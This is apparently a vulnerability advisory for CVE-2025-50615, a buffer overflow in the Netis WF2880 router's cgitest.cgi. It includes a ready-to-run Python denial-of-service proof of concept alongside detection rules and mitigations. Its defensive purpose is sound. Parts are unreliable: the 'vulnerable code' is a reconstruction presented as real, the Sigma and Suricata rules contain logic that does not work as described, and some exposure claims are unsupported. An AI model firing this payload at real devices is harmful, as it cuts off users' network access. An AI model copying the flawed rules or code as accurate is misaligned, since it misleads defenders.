CVE-2025-50615

Executive Summary

CVE-2025-50615 is a critical buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version v2.1.40207. The flaw resides in the FUN_00470c50 function within the cgitest.cgi binary. By controlling the wl_mac_filter_set parameter in an HTTP request, an unauthenticated attacker can trigger a buffer overflow, leading to a Denial of Service (DoS) condition. The vendor has not released a patch, leaving affected devices exposed to remote crash attacks. This vulnerability is particularly concerning for IoT and SOHO environments where the WF2880 is deployed as a primary gateway.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (network-accessible, low complexity, no authentication required, leading to availability impact), a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

Estimated CVSS Score: 7.5 (High)

Threat Level: High – The vulnerability is remotely exploitable without authentication, and the affected device is a network gateway, making DoS attacks highly impactful for home and small office users.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the cgitest.cgi CGI binary. The FUN_00470c50 function processes the wl_mac_filter_set parameter from an HTTP POST request. It copies user-supplied data into a fixed-size stack buffer without proper bounds checking. By sending an overly long string for wl_mac_filter_set, an attacker can overwrite the return address and other critical stack data, causing the program to crash (DoS). The crash is immediate and does not require any prior authentication, as cgitest.cgi is typically exposed on the WAN interface for remote management.

The vulnerable code path is:

1. HTTP request arrives at /cgi-bin/cgitest.cgi.
2. The CGI parses the wl_mac_filter_set parameter.
3. Data is passed to FUN_00470c50.
4. A strcpy or similar unsafe function copies the data into a 256-byte buffer.
5. If input exceeds 256 bytes, the stack is corrupted, leading to a segmentation fault.

Vulnerable vs. Patched Code

Vulnerable Code (WF2880 v2.1.40207):

void FUN_00470c50(char *input) {
    char buffer[256];
    strcpy(buffer, input);  // No bounds check
    // ... process buffer ...
}

Patched Code (Hypothetical):

void FUN_00470c50(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer ...
}

The fix requires replacing strcpy with strncpy and ensuring null-termination. Since no official patch exists, users must implement workarounds.

Exploitation & Lab Setup

Red Team (Proof of Concept)

The following Python script demonstrates the DoS attack by sending an oversized wl_mac_filter_set parameter to the vulnerable router.

#!/usr/bin/env python3
import socket

target_ip = "192.168.1.1"
target_port = 80

payload = b"wl_mac_filter_set=" + b"A" * 512  # Overflow buffer

http_request = (
    b"POST /cgi-bin/cgitest.cgi HTTP/1.1\r\n"
    b"Host: " + target_ip.encode() + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
    b"\r\n"
    + payload
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(http_request)
    response = sock.recv(4096)
    print("[+] Request sent. Router may be unresponsive.")
except Exception as e:
    print(f"[-] Error: {e}")
finally:
    sock.close()

Usage: Run the script against a vulnerable Netis WF2880. The router will crash and become unresponsive until rebooted.

Blue Team (Detection & Prevention)

• Network Monitoring: Monitor for HTTP POST requests to /cgi-bin/cgitest.cgi with abnormally long wl_mac_filter_set parameters (e.g., > 256 bytes).
• WAF Rules: Deploy a Web Application Firewall rule to block requests where the wl_mac_filter_set parameter exceeds 256 characters.
• Access Control: Restrict access to the router's web interface to trusted internal IPs only. Disable remote management if not required.
• Firmware Update: Check for vendor updates regularly. If no patch is available, consider replacing the device.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/cgitest.cgi with Content-Length > 300 bytes.
  • Parameter wl_mac_filter_set containing a long string of repeating characters (e.g., "AAAA...").
  • Sudden unavailability of the router's web interface or network connectivity.
• Host IOCs:
  • Router logs showing segmentation faults or crashes in cgitest.cgi.
  • Unexpected reboots of the Netis WF2880.

Detection Engineering

YARA Rule

rule CVE_2025_50615_Netis_WF2880_DoS {
    meta:
        description = "Detects exploit attempts for CVE-2025-50615 targeting Netis WF2880"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50615"
    strings:
        $s1 = "wl_mac_filter_set=" ascii wide nocase
        $s2 = "cgitest.cgi" ascii wide nocase
        $overflow = /wl_mac_filter_set=[A-Za-z0-9]{257,}/ ascii
    condition:
        $s1 and $s2 and $overflow
}

Sigma Rule

title: CVE-2025-50615 Netis WF2880 DoS Exploit Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests to cgitest.cgi with an overly long wl_mac_filter_set parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/cgitest.cgi'
        cs-uri-query|contains: 'wl_mac_filter_set='
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate long MAC filter lists (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-50615 Netis WF2880 DoS Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/cgitest.cgi"; http_uri;
    content:"wl_mac_filter_set="; http_client_body;
    byte_test:1,>,256,0,relative,string,dec;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If the router's web interface is accessible from the WAN, disable it immediately.
2. Restrict Access: Use firewall rules to allow only trusted IPs to access the router's management interface.
3. Monitor Logs: Enable logging and monitor for crashes or unusual HTTP requests.

Long-Term Fix:

• Since no vendor patch is available, consider replacing the Netis WF2880 with a supported device.
• If replacement is not possible, implement a reverse proxy or WAF to filter malicious requests.

Workaround:

• Manually patch the firmware by extracting the cgitest.cgi binary, replacing strcpy with strncpy, and re-flashing. This requires advanced skills and voids warranty.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert